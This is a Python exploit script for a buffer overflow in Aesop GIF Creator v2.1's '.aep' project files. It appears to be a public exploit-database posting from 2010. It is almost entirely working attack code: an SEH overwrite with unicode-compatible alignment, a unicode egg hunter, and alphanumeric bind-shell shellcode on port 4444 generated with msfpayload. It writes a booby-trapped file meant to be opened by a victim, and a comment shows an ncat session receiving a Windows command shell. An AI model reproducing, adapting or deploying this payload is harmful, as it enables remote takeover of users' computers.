Aesop GIF Creator 2.1 – ‘.aep’ Local Buffer Overflow
# !/usr/bin/python # Exploit Title: Aesop GIF Creator <= v2.1 (.aep) Buffer Overflow Exploit # Date: 12/15/2010 # Author: xsploitedsec # URL: http://www.x-sploited.com/ # Contact: xsploitedsec [at] x-sploited.com # Software Link: http://www.yukudr.com/_h84561/aesop_setup.exe # Vulnerable version: <= v2.1 # Tested on: Windows XP SP3 Eng # CVE : N/A #### Software Description: # Aesop is a powerful tool that allows you to create animated GIF images (banners, buttons, labels and headings) # for your website and even GIF wallpapers for your mobile phone quickly and easily (click to see samples). You # can use an antialiased 3D-Text, shapes (rectangles, rounded rectangles, ellipses and polygons) and external # pictures for drawing in your GIF. # Convenient interface. # Unicode support - you can use national characters as Text in your GIF. # An excellent antialiasing technique (blurring the edges between color transitions) to draw 3D-Text and shapes: #### Exploit information: # Aesop is prone to a buffer overflow when handling a malicious aesop project files. The vulnerability # is due to improper bounds checking of the "Picture=" field which can be exploited by malicious people to # compromise a users system. #### Other information: # I attempted to reach out to the vendor about this but after a few short emails it became clear that they # had no interest in verifying it/coordinating a fix so here's the exploit. #### Notes: # I always knew that one day I would end up needing to deal with unicode buffers. After a couple nights of # tinkering around this is the end result. P.S. - When all else fails->Fail harder #### Shoutz: # kAoTiX, Sheep, Tu, edb-team, corelan team, packetstormsecurity and all other security researchers and sites. # -> A big thanks goes to corelanc0d3r for shedding some light on the subject of unicode exploits. ;) import struct import sys about = "\r\n==================================================================\n" about += " Title: Aesop GIF Creator <= v2.1 (.aep) Buffer Overflow Exploit PoC\n" about += " Author: xsploitedsec\n URL: http://www.x-sploited.com/\n" about += " Contact: xsploitedsecurity [at] x-sploited.com\n" about += "==================================================================" print about # root@bt:~# msfpayload windows/shell_bind_tcp lport=4444 lhost=0.0.0.0 EXITFUNC=seh R # | msfencode -e x86/alpha_upper -c 1 -t c -b '\x1a\x19\x0a' > /tmp/aesop.txt # [*] x86/alpha_upper succeeded with size 752 (iteration=1) # # root@bt:~# ncat 10.0.1.16 4444 # Microsoft Windows XP [Version 5.1.2600] # (C) Copyright 1985-2001 Microsoft Corp. # C:\> # Unmolested, ASCII shellcode buried in stack ftw!? bindshell = ( "\xda\xca\xd9\x74\x24\xf4\x58\x50\x59\x49\x49\x49\x43\x43\x43" "\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41" "\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42" "\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50" "\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4b\x39\x43\x30\x43" "\x30\x43\x30\x43\x50\x4d\x59\x4d\x35\x50\x31\x4e\x32\x42\x44" "\x4c\x4b\x51\x42\x50\x30\x4c\x4b\x46\x32\x44\x4c\x4c\x4b\x50" "\x52\x44\x54\x4c\x4b\x44\x32\x47\x58\x44\x4f\x48\x37\x50\x4a" "\x47\x56\x50\x31\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x47\x4c\x45" "\x31\x43\x4c\x44\x42\x46\x4c\x47\x50\x4f\x31\x48\x4f\x44\x4d" "\x43\x31\x48\x47\x4d\x32\x4c\x30\x50\x52\x51\x47\x4c\x4b\x51" "\x42\x42\x30\x4c\x4b\x47\x32\x47\x4c\x43\x31\x48\x50\x4c\x4b" "\x47\x30\x44\x38\x4c\x45\x4f\x30\x43\x44\x50\x4a\x43\x31\x48" "\x50\x46\x30\x4c\x4b\x51\x58\x44\x58\x4c\x4b\x51\x48\x51\x30" "\x43\x31\x4e\x33\x4a\x43\x47\x4c\x47\x39\x4c\x4b\x50\x34\x4c" "\x4b\x45\x51\x4e\x36\x46\x51\x4b\x4f\x46\x51\x49\x50\x4e\x4c" "\x4f\x31\x48\x4f\x44\x4d\x43\x31\x48\x47\x50\x38\x4b\x50\x42" "\x55\x4c\x34\x45\x53\x43\x4d\x4b\x48\x47\x4b\x43\x4d\x51\x34" "\x42\x55\x4a\x42\x50\x58\x4c\x4b\x46\x38\x51\x34\x45\x51\x48" "\x53\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x50\x58\x45\x4c" "\x43\x31\x4e\x33\x4c\x4b\x45\x54\x4c\x4b\x45\x51\x48\x50\x4c" "\x49\x47\x34\x46\x44\x47\x54\x51\x4b\x51\x4b\x45\x31\x46\x39" "\x51\x4a\x50\x51\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x51\x4a\x4c" "\x4b\x42\x32\x4a\x4b\x4c\x46\x51\x4d\x43\x58\x47\x43\x46\x52" "\x45\x50\x45\x50\x45\x38\x43\x47\x44\x33\x47\x42\x51\x4f\x51" "\x44\x43\x58\x50\x4c\x42\x57\x46\x46\x43\x37\x4b\x4f\x49\x45" "\x4f\x48\x4a\x30\x43\x31\x43\x30\x45\x50\x51\x39\x49\x54\x51" "\x44\x46\x30\x43\x58\x51\x39\x4b\x30\x42\x4b\x43\x30\x4b\x4f" "\x4e\x35\x46\x30\x46\x30\x50\x50\x50\x50\x47\x30\x50\x50\x51" "\x50\x50\x50\x45\x38\x4a\x4a\x44\x4f\x49\x4f\x4d\x30\x4b\x4f" "\x4e\x35\x4b\x39\x48\x47\x46\x51\x49\x4b\x51\x43\x45\x38\x44" "\x42\x45\x50\x42\x31\x51\x4c\x4b\x39\x4b\x56\x42\x4a\x44\x50" "\x51\x46\x46\x37\x45\x38\x49\x52\x49\x4b\x50\x37\x45\x37\x4b" "\x4f\x4e\x35\x46\x33\x51\x47\x43\x58\x48\x37\x4a\x49\x47\x48" "\x4b\x4f\x4b\x4f\x4e\x35\x50\x53\x46\x33\x46\x37\x42\x48\x43" "\x44\x4a\x4c\x47\x4b\x4d\x31\x4b\x4f\x4e\x35\x50\x57\x4b\x39" "\x49\x57\x42\x48\x44\x35\x42\x4e\x50\x4d\x45\x31\x4b\x4f\x49" "\x45\x45\x38\x43\x53\x42\x4d\x45\x34\x43\x30\x4c\x49\x4b\x53" "\x50\x57\x50\x57\x51\x47\x46\x51\x4a\x56\x43\x5a\x45\x42\x50" "\x59\x50\x56\x4d\x32\x4b\x4d\x43\x56\x48\x47\x51\x54\x47\x54" "\x47\x4c\x43\x31\x43\x31\x4c\x4d\x51\x54\x51\x34\x44\x50\x4f" "\x36\x43\x30\x51\x54\x50\x54\x46\x30\x46\x36\x46\x36\x46\x36" "\x51\x56\x50\x56\x50\x4e\x50\x56\x50\x56\x50\x53\x46\x36\x43" "\x58\x44\x39\x48\x4c\x47\x4f\x4d\x56\x4b\x4f\x49\x45\x4c\x49" "\x4d\x30\x50\x4e\x46\x36\x47\x36\x4b\x4f\x46\x50\x42\x48\x43" "\x38\x4b\x37\x45\x4d\x43\x50\x4b\x4f\x48\x55\x4f\x4b\x4b\x4e" "\x44\x4e\x46\x52\x4b\x5a\x43\x58\x4e\x46\x4c\x55\x4f\x4d\x4d" "\x4d\x4b\x4f\x48\x55\x47\x4c\x45\x56\x43\x4c\x45\x5a\x4b\x30" "\x4b\x4b\x4d\x30\x43\x45\x43\x35\x4f\x4b\x47\x37\x45\x43\x43" "\x42\x42\x4f\x42\x4a\x43\x30\x51\x43\x4b\x4f\x4e\x35\x45\x5a" "\x41\x41" ); # unicode encoded, egg="w00t" egg_hunter = ( "PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ" "1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AY" "AZBABABABAB30APB944JBQVE1HJKOLOPB0RBJLBQHHMNNOLM5PZ44J" "O7H2WP0P0T4TKZZFOSEZJ6OT5K7KO9WA" ); # aesop project file header prj_header = ( "\x5B\x41\x65\x73\x6F\x70\x20\x50\x72\x6F\x6A\x65\x63\x74\x20\x46\x69\x6C" "\x65\x20\x76\x2E\x32\x2E\x30\x5D\x0D\x0A\x7B\x50\x69\x63\x74\x75\x72\x65" "\x3D" ); #hunter tag ="w00tw00t" egg = "\x77\x30\x30\x74\x77\x30\x30\x74"; seh_offset = 669; # Begin payload buffer payload = "\x41" * seh_offset; # NSEH payload += "\x61"; #popad payload += "\x73"; #nopalign/add byte ptr [ebx],dh # SE handler payload += "\xB1\x42"; #unicode compatible p/p/r - Aesop.exe (universal) # Prepare/jump->EAX payload += "\x73"; #venetian/add byte ptr [ebx],dh payload += "\x55"; #push ebp payload += "\x73"; #venetian/add byte ptr [ebx],dh payload += "\x58"; #pop eax payload += "\x73"; #venetian/add byte ptr [ebx],dh payload += "\x05\x19\x11"; #add eax, 0x19002200h payload += "\x73"; #venetian/add byte ptr [ebx],dh payload += "\x2d\x11\x11"; #sub eax, 0x12007200h payload += "\x73"; #venetian/add byte ptr [ebx],dh payload += "\x50"; #push eax payload += "\x73"; #add byte ptr [ebx],dh payload += "\xc3"; #ret payload += "\x41" * 242; #align egghunter with->(ebp+650) payload += egg_hunter; payload += "\x41" * 1000; #give shellcode some breathing room payload += egg; payload += bindshell; payload += "\x44" * (5000-len(payload)); #junk padding # End payload buffer xsploitme = (prj_header + payload); print("\n[*] Creating file->xsploited.aep"); try: out_file = open("xsploited.aep",'w'); out_file.write(xsploitme); out_file.close(); print("[+] xsploited.aep created successfully"); print("[*] 1. Launch the file or open it via Aesop.exe"); print("[*] 2. Wait a sec for egghunter and netcat in :)\n[-] Exiting...\r"); except (IOError): print("[!] Error creating file\n[-] Exiting...\r"); |